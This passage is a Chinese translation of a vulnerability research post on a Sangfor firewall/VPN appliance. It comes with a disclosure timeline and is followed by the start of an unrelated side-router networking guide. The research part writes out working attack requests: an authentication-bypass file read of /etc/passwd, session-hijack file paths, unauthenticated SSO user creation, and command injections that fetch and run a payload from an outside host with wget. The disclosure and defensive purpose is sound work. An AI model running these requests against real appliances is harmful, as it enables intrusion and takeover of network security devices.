font-size: 16px; line-height: 24px;">$filename = get_basename($file);</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">$ua = $_SERVER["HTTP_USER_AGENT"];</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">header('Content-type: application/octet-stream');</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">if (preg_match("/Firefox/", $ua)) {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> header('Content-Disposition: attachment; filename*="utf8\\'\\'' . $filename . '"');</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">} else {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">readfile($file);</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">if($needDelete) {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> @unlink($file);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">}</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">?></span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">curl --insecure https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"</span><br /></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />糟糕。我们又一次取得了进展。<br /><br />只是提醒一下,这是“世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护”。<br /><br />虽然看到/etc/passwd总是一张精彩的截图,但我们想知道对我们的读者来说可能产生的最大影响是什么。除了找到明文凭据之外,我们确实发现了一些显示活动的PHPSESSID的文件,所以我们可以劫持会话,有很多可以选择的文件:<br /><br />/etc/sinfor/DcUserCookie.conf<br />/etc/en/sinfor/DcUserCookie.conf<br />/config/etc/sinfor/DcUserCookie.conf<br />/config/etc/en/sinfor/DcUserCookie.conf<br /><br />如果你还在寻找以管理员身份轻松获得访问权限的更简单的方法,你可以查看Apache访问日志,并查看通过GET请求传递的Cookie。Bug Triagers对这个“低级”的发现可能会感到困惑,但我们作为管理员却很轻松。<br /><br />/virus/apache/apache/logs/access_log<br /><br />编辑注:我们觉得自己在某些国家是非官方的系统管理员(希望有人能理解这个引用)。<br />转折点<br /><br />此刻,我们不得不停下来,停下来思考。一个“下一代”应用防火墙怎么会有这样一个容易的、低悬的漏洞呢?这个设备真的安全吗?<br /><br />对于我们来说,发现这个设备中的远程命令执行漏洞有多么容易,我们感到非常困惑。难道这个设备真的如此创新和下一代,我们正在看到新的东西吗?<br /><br />好吧,暂时我们愿意接受这一点 - 我们发现远程命令执行的机会增加了,现在是时候全力以赴了。<br /><br />在进一步审计设备之前,我们发现了一个有趣的文件 - HttpHandler.php,它提供了类似AJAX的功能。它接受两个请求参数,controler和action,并使用它们调用指定的控制器类和公共函数:<br /><br />public function process()<br /> {<br /> try<br /> {<br /> $controller=$_REQUEST["controler"];<br /> $action=$_REQUEST["action"];<br /><br /> $this->validPara($controller, 'AjaxReq_NoConctroler');<br /> $this->validPara($action, 'AjaxReq_NoAction');<br /> $controller = $controller."Controller";<br /><br /> //反射controller类信息<br /> $classInfo = new ReflectionClass($controller);<br /><br /> //创建controller类实例<br /> $instance=$classInfo->newInstance();<br /><br /> //反射得到action方法<br /> $methodInfo = $classInfo->getMethod($action);<br /><br /> //反射得到action参数表<br /> $parainfos=$methodInfo->getParameters();<br /> $paras=array();<br /><br />例如,如果设备与域连接,我们可以通过/svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3检索配置数据。<br /><br />HTTP/1.1 200 OK<br />Date: Wed, 13 Sep 2023 08:47:12 GMT<br />Server:<br /><br />X-Frame-Options: SAMEORIGIN<br />Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly<br />Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />Cache-Control: private, proxy-revalidate no-transform<br />Pragma: private, proxy-revalidate, no-transform<br />Vary: Accept-Encoding,User-Agent<br />Content-Length: 303<br />Connection: close<br />Content-Type: text/html<br /><br />{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}<br /><br />是的,真的。<br /><br />总共有20个控制器和一百多个函数需要审计。不幸的是,大多数具有有趣行为的公共函数还会检查“正确的”(即除了“源IP”之外)身份验证,我们再次被重定向到登录页面(这次没有绕过)。<br /><br />我们找到了一个缺少身份验证检查的“写入”函数,允许我们写入SQLite数据库并为SSL VPN创建新的SSO用户。关于这个的影响,我们将留给你的想象力。<br /><br />有趣的是,它也容易受到SQL注入的攻击,但由于底层的DBMS是SQLite,这对于RCE的效用有限。<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Host: </span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Y-Forwarded-For: 127.0.0.1</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Connection: keep-alive</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Type: application/x-www-form-urlencoded</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Length: 72</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr</span><br /></p><p style="text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />在审计设备花费了大量时间后,我们得到了:<br /><br /> 身份验证绕过<br /> 源代码泄露<br /> 本地文件读取<br /> 添加自己的SSO用户的能力<br /> 转储Active Directory配置信息,包括用户名和密码的能力。<br /><br />但是,我们感到困惑。远程命令执行会逃脱我们吗?这个设备真的安全吗?<br />与Pspy合作<br /><br />在这个过程中,我们不得不重新评估我们明显失败的方法。我们需要更多的透明度来理解与系统交互的代码。<br /><br />对于大多数这样的应用程序,主要的注入类型是命令和SQL。也许我们可以通过在数据库配置中启用Trace日志或grep所有正在进行的操作系统命令来增强这些领域的可见性?<br /><br />通过查看各种类,我们可以看到开发人员喜欢使用shell_exec、exec和popen来执行shell命令。代码有点难以追踪,所以我们使用pspy来帮助。<br /><br />Pspy是一个有用的小工具,常常被CTF团队使用,它会在后台记录所有正在生成的进程及其参数 - 对于发现命令注入非常有用,我们怀疑这将是最快到达RCE的路径。<br /><br />将pspy二进制文件和grep命令放在目标主机上,允许我们查看Apache进程生成的所有进程及其参数:<br /><br />在再次运行所有控制器和函数之后,我们仍然无法找到任何明显的注入点。在耗尽了这个服务的代码库之后,我们决定休息一下,放弃(哈哈)。<br /><br />这是一个幸运的例子 - 当以正常方式进行身份验证时,某种神秘的力量推动我们的手指,我们不小心输入了错误的用户名。我们仍然在观察进程的同时,我们的眼睛睁大了,因为我们看到:<br /><br />正如您在上面的pspy捕获中所看到的,用户名Admi直接传递给了一个shell命令...我们是否可能在登录页面的用户名参数中注入我们自己的命令?<br /><br />这显然是不可能的...一个普通的扫描器、渗透测试人员或赏金猎人肯定会发现的,对吧?好样的验证码。<br /><br />在查看文件CFWLogInOutDAO.php时,我们可以找到负责此操作的remoteLogin()函数:<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">public function remoteLogin(&$in_arrSearchCondition)</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $userName = $in_arrSearchCondition ['user_name'];</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $passwd = $in_arrSearchCondition ['password'];</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> //rsa的解密</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_strMD5 = $this->decrypt($passwd); </span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $retResult = fread($fp, 20);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> pclose($fp);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> if ($retResult == "retLoginSuccess") {</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $in_arrSearchCondition ['user_name'] = $userName."_remote_";</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_strUserName = addslashes($in_arrSearchCondition ['user_name']);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> $t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> return $this->setSession($t_strSQL);</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> }</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> return false;</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> }</span><br /></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />具有讽刺意味的是,开发人员在处理之前在用户名上调用了addslashes()函数,但在在popen()函数中使用之前没有进行任何净化。糟糕!<br /><br />经过一段时间的尝试,我们意识到无法在用户名中注入任意特殊字符,因为由于mod_security的限制,引号、重音符号(甚至逻辑运算符||和&&)都是不允许的。然而,我们注意到可以使用分号截断命令。<br /><br />作为我们的注意力集中的人,我们希望展示一个神奇的输出,显示从单个HTTP请求到响应的命令执行 - 因此,我们必须变得有创造力。响应详细信息中列出了一个在文件/virus/dcweb/conf/lang/eng.utf8.lang.app.php中声明的静态错误消息。<br /><br />我们的新生活目标是编写一个输出到此错误消息的命令。通常情况下(我们喜欢这个词),你会使用某种编码来绕过“ “和mod_security的限制,但是在这个设备上没有base64和xxd可用。为了绕过这个问题,我们采用了以下获胜路径:<br /><br /> 在外部的HTTP服务器上托管有效载荷<br /> 使用wget获取有效载荷<br /> 通过source执行有效载荷 - 我们认为这比.更酷<br /> 用$(id)的值替换错误消息的内容<br /><br />我们得到了这个令人惊叹的截图,展示了所有的一切:<br /><br />请求:<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">POST /LogInOut.php HTTP/1.1</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Host:</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Connection: close</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Length: 625</span><br /><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha></span><br /></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />Cmd.txt负载:sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php<br /><br />响应:<br /><br /></span></p><p style="margin-left: 40px; text-align: left;"><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">HTTP/1.1 200 OK</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Date: Thu, 05 Oct 2023 07:46:53 GMT</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Server: </span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">X-Frame-Options: SAMEORIGIN</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Expires: Thu, 19 Nov 1981 08:52:00 GMT</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Cache-Control: private, proxy-revalidate, no-transform</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Pragma: private, proxy-revalidate, no-transform</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Vary: Accept-Encoding,User-Agent</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Length: 139</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Connection: close</span><br /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">Content-Type: text/html</span><br /></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br />错误:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)因登录失败次数过多而触发。请在5分钟后再试!<br /><br />寻找兔子<br /><br />虽然每个研究人员都梦想找到RCE,但发现这样一个简单的漏洞令人沮丧。人们可能会期望实现RCE需要一个美丽的2或3个漏洞链,使用授权绕过、PHP对象注入和各种其他花招。<br /><br />你可以想象在这个设备中实现大RCE是多么容易。<br /><br />只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。<br /><br />我们决定给这个设备第二次机会-也许一些野外的设备已经将85/TCP端口防火墙关闭,只开放了4433/TCP端口。这将给我们一个机会来构建一个更复杂的攻击路径,获得更多的关注/互联网积分。<br /><br />在4433端口上,攻击面略有不同,因为原生流通过C++ CGI文件进行身份验证,而不是通过PHP进行身份验证。我们曾考虑过花费我们的晚上在Ghidra分析它,但我们想到也许设计了85/TCP端口上的登录PHP脚本的开发人员也开发了CGI模块,也许...也许...<br /><br />受到这个想法的启发,我们尝试了带着pspy仍在运行的登录流程。使用相同的原理,我们尝试使用错误的用户名登录...哎呀,又执行了一个略有不同格式的shell命令。很明显,Cookie PHPSESSIONID被用在一个echo命令中写入临时文件。<br /><br />POST /cgi-bin/login.cgi HTTP/1.1<br />Host: <br />Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2<br />Content-Type: Application/X-www-Form<br />Connection: close<br />Content-Length: 113<br /><br /> {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}<br /><br />pspy捕获到的信息:<br /><br />CMD: UID=65534 PID=31595 | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log<br /><br />由于值是从Cookie中获取的,我们无法注入分号来截断命令(或对它们进行URL编码)。相反,通过利用允许使用反引号的特性,我们可以创建自己的变量并在括号内评估其内容。不幸的是,这里没有美丽的sed输出可以使用,所以你只能满足于一个超出范围的请求🙂<br /><br />POST /cgi-bin/login.cgi HTTP/1.1<br />Host: <br />Cookie: PHPSESSID=`$(wget host)`;<br />Content-Type: Application/X-www-Form<br />Connection: close<br /><br /> {"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}<br /><br />糟糕,又是RCE。<br /><br />只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。<br /><br />房子总是赢的<br /><br />在赌桌上积累了我们的漏洞筹码后,我们联系了Sangfor的技术团队准备兑现。<br /><br />经过几封激动人心的来回邮件后,我们没有直接与安全团队交流,而是通过技术支持与安全团队交流。<br /><br />Sangfor的团队声称他们要么已经完全意识到这些问题,并已经分发了补丁,要么无法验证我们的发现,称之为“误报”。也许我们被旁边的玩家欺骗了,最终得到了未公开的N天。<br /><br />无论如何,这很有趣。我们将让你自己来推断可能发生了什么,或者可能没有发生什么。<br />结论<br /><br />当赏金猎人、研究人员或渗透测试人员研究攻击面以寻找漏洞时,通常默认认为防火墙和VPN等设备已经经过加固,通常是由于内部安全审查流程以及与其他企业的外部流程竞争。<br /><br />编辑注:还有一个事实是,我猜他们都在这些设备上说“安全”和“安全”。<br /><br />不用说,像上面演示的这样的低级漏洞在2023年应该是不存在的,我们希望在这一年里,发现真正有影响力的漏洞所需的投入已经大幅增加。我们希望这篇文章能改变这种心态-即使是一个入门级的攻击性安全实验室课程对于像这样一个被广泛使用的“下一代”产品来说也是非常相关的。<br /><br />到目前为止,常规读者应该已经很清楚,我们在watchTowr这里喜欢挑战这样的“加固”设备。确实,有了这样的漏洞,很难不感兴趣-我们鼓励所有对漏洞猎捕感兴趣的人拿起他们最近的“下一代”或“企业级”防火墙或VPN终端,开始将其拆解。<br /><br />对于网络防御者来说,真正的教训是我们不能假设这些加固设备真的是加固的。无论销售人员告诉你什么,没有什么能比得上网络分割和最小权限原则。<br /><br />如果您想了解更多关于watchTowr平台、我们的攻击面管理和持续自动红队解决方案,请与我们联系。<br /></span></p><blockquote><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">时间表<br />日期 <span> </span><span> </span><span> </span><span> </span><span> </span> 细节</span></blockquote><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br /></span><p></p><blockquote><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">2023年9月13日 发现漏洞<br />2023年9月14日 请求Sangfor的安全联系人<br />2023年9月18日 收到安全联系人,向Sangfor披露<br />2023年9月18日 watchTowr在客户的攻击面中寻找受影响的系统,并与受影响的系统进行沟通。<br />2023年9月26日 Sangfor对每个项目做出回应:<br />- 身份验证绕过- Sangfor认为是误报<br />- 本地文件读取-(内部已知问题-发布了补丁(在哪里?))<br />- 命令注入-(内部已知问题-发布了补丁(在哪里?))<br />- 源代码泄露- Sangfor认为是误报<br />- SSO用户添加/SQLite注入- Sangfor认为是误报<br />2023年10月5日 向公众发布博文和PoC<br />上一篇<br />90年代软件(Exim)中的90年代漏洞-天空会塌下来吗?<br /> </span></blockquote><p></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><br /><br /></span> </p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-27867345371971726272023-10-08T23:32:00.003+08:002023-10-11T23:41:21.441+08:00人人都能看懂的旁路由入门指南<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><h2 id="ss-H2-1585315970271">via <a href="https://sspai.com/post/59708">https://sspai.com/post/59708</a> <br /></h2><h2 id="ss-H2-1585315970271">「旁路由」是什么?</h2><div><br /></div><p>我们经常在各种文章和视频里面看到听到「旁路由」这个词,但并不清楚他究竟是何方神圣。其实「旁路由」这并不是一个严谨的词汇,在官方的技术用语里,正确的叫法应该是「旁路网关」(为了方便,后续将依旧以旁路由为准)。</p><p>而所谓的「旁路网关」,是指挂靠在主路由网络下的一个旁系网络,他分担了一部分路由器的功能,因此被大众简称为「旁路由」,本质上它是一个通过 LAN 口与主路由连接的一个客户端设备。</p><p>这种主旁路由构成的网络架构可以分成两种,一种是发烧友在软路由系统中,通过虚拟化的形式,安装两套路由系统,它们各司其职,在软件层面上形成了主旁网络架构。另一种就是通过使用两个实体路由器,通过连接和配置打造的硬件形式上的主旁网络结构。虽然他们形式上有一定区别,但这种双路由系统(硬件或虚拟化)的网络布局,殊途同归,最终目的都是为了将家庭网络带宽进行合理的分配利用,并提供更强的扩展性,以实现更多强大的功能。</p><h2 id="ss-H2-1585316474184">「旁路由」模式的优缺点</h2><div><br /></div><div>既然我们已经简单了解了什么是「旁路由」,那么为什么大家会使用这种方式来构建家庭网络呢?总结来说,旁路由的有以下优点:</div><ul><li>可负载性——如果你的主路由硬件配置过低,无法承担过重的扩展功能,那么旁路由可以用来分担主路由的压力,既不影响网络速度,还可以一定程度优化网络体验</li></ul><ul><li>可扩展性——旁路由可以在对当前的网络架构影响最小的情况下,扩展出新的功能,且在配置阶段可以不影响他人使用网络,非常适合在城市里合租的人员优化自己的网络</li></ul><ul><li>多功能性——旁路由同样可以安装各种插件,扩展出很多实用的功能,增强上网体验,可以安装的插件可以参照之前的文章<a class="insert-link" href="https://sspai.com/post/58452" target="_blank">用这些 OpenWRT 插件来武装你的路由器</a></li></ul><p>当然使用「旁路由」的时候也需要一定的网络基础知识和额外的硬件成本支出,最重要的是你需要有耐心和动力去折腾改善家中的网络状况,如果这些都不是问题,就可以开始动手了。</p><h2 id="ss-H2-1585317179078">选购一个合适的「旁路由」?</h2><p><br /></p><p>适合做「旁路由」的设备很多,我们可以根据自身情况来挑选一个设备改造成「旁路由」,这里总结了几种方法供大家挑选:</p><ul><li>家中淘汰不用的旧硬件设备改造,例如旧笔记本、台式机、NAS 等等</li></ul><ul><li>现成的路由器设备</li></ul><ul><li>具有网口或支持扩展网口的开发板,例如树莓派,nano 派等等</li></ul><ul><li>直接在电商平台购买</li></ul><p><br />这些方法都可以让你拥有一个「旁路由」,其中直接在电商平台购买最为简单,商家可能还会指导你进行配置,其次是使用路由器作为旁路由,改造成本也比较低低,最复杂的是利用旧的硬件设备和开发板,不仅对使用者的技术要求相对较高,也需要一定的时间成本,大家可以酌情选择合适的方案,但总体来看旁路由消耗的金钱成本并不高。</p><h2 id="ss-H2-1585317636647">如何配置「旁路由」?</h2><p><br />选择好了「旁路由」设备后,我们就需要配置它了。根据不同的「旁路由」设备,配置的方法也有很多种,这里就不一一赘述,主要介绍两种配置和操作都相对简单,且对当前网络构造影响最小的方案。</p><h3 id="ss-H3-1585317752375">方案一: 设备自行选择网关设备</h3><div><div><div></div></div><div><div>这套方案配置方法非常简单,可以在不影响当前网络的情况下进行配置,配置完成后,不同的设备只需要自己在设备中修改网络信息就可以自行选择使用「主路由」或者「旁路由」上网,非常适合「X漂」人士改造自己合租屋的网络,只让自己的设备使用「旁路由」。具体的网络架构图如下:</div><div></div><div><figure class="ss-img-wrapper" contenteditable="false" draggable="false" tabindex="0"><img alt="" class="lazyLoadEnd" data-index="0" data-original="https://cdn.sspai.com/2020/03/28/6bcb4c8a464aad66161371f7e68dbc21.png" src="https://cdn.sspai.com/2020/03/28/6bcb4c8a464aad66161371f7e68dbc21.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1" /><figcaption class="ss-image-caption">网络架构图</figcaption></figure></div></div></div><div><br /></div><p>他的配置和使用方式很简单,只需要以下几个步骤:</p><ul><li>旁路由设备的 LAN 口连接主路由的 LAN 口,然后进入旁路由的配置界面</li><li>以 OpenWRT 系统为例,进入「网络」-「接口-「 LAN 口」,在设置中「协议」选择「静态地址」,然后 「IPv4 地址」设置为 「192.168.1.x」(与主路由网段相同但不冲突)</li><li>「IPv4 网关」填写主路由 IP(192.168.1.1),DNS 设置为主路由IP,DHCP服务器填勾选忽略接口</li><li>需要使用「旁路由」的设备,只需要将网络设置中的「网关」和「DNS」填写成「旁路由」的IP(192.168.1.x)即可</li><li>需要管理「旁路由」时,在浏览器输入「旁路由」的 IP(192.168.1.x)即可进入管理页面</li></ul><div>路由器配置详情可参考下图:</div><figure class="ss-img-wrapper" contenteditable="false" draggable="false" tabindex="0"><img alt="" class="lazyLoadEnd" data-index="1" data-original="https://cdn.sspai.com/2020/03/28/50d43f85a18df7dfddd1a5d6cd90a016.png" src="https://cdn.sspai.com/2020/03/28/50d43f85a18df7dfddd1a5d6cd90a016.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1" /></figure><h3 id="ss-H3-1585376757563">方案二: 所有设备通过旁路由联网</h3><div>第二个方案, 「旁路由」需要开启强制使用 DHCP,所有设备的网络流量都将通过旁路由,无需对网络内的设备进行单独设置,也无需修改光猫和主路由的设置,对当前网络的影响也较小,但需要重启路由器让配置生效,这个方案适合无需担心网络影响他人的使用。</div><figure class="ss-img-wrapper" contenteditable="false" draggable="false" tabindex="0"><img 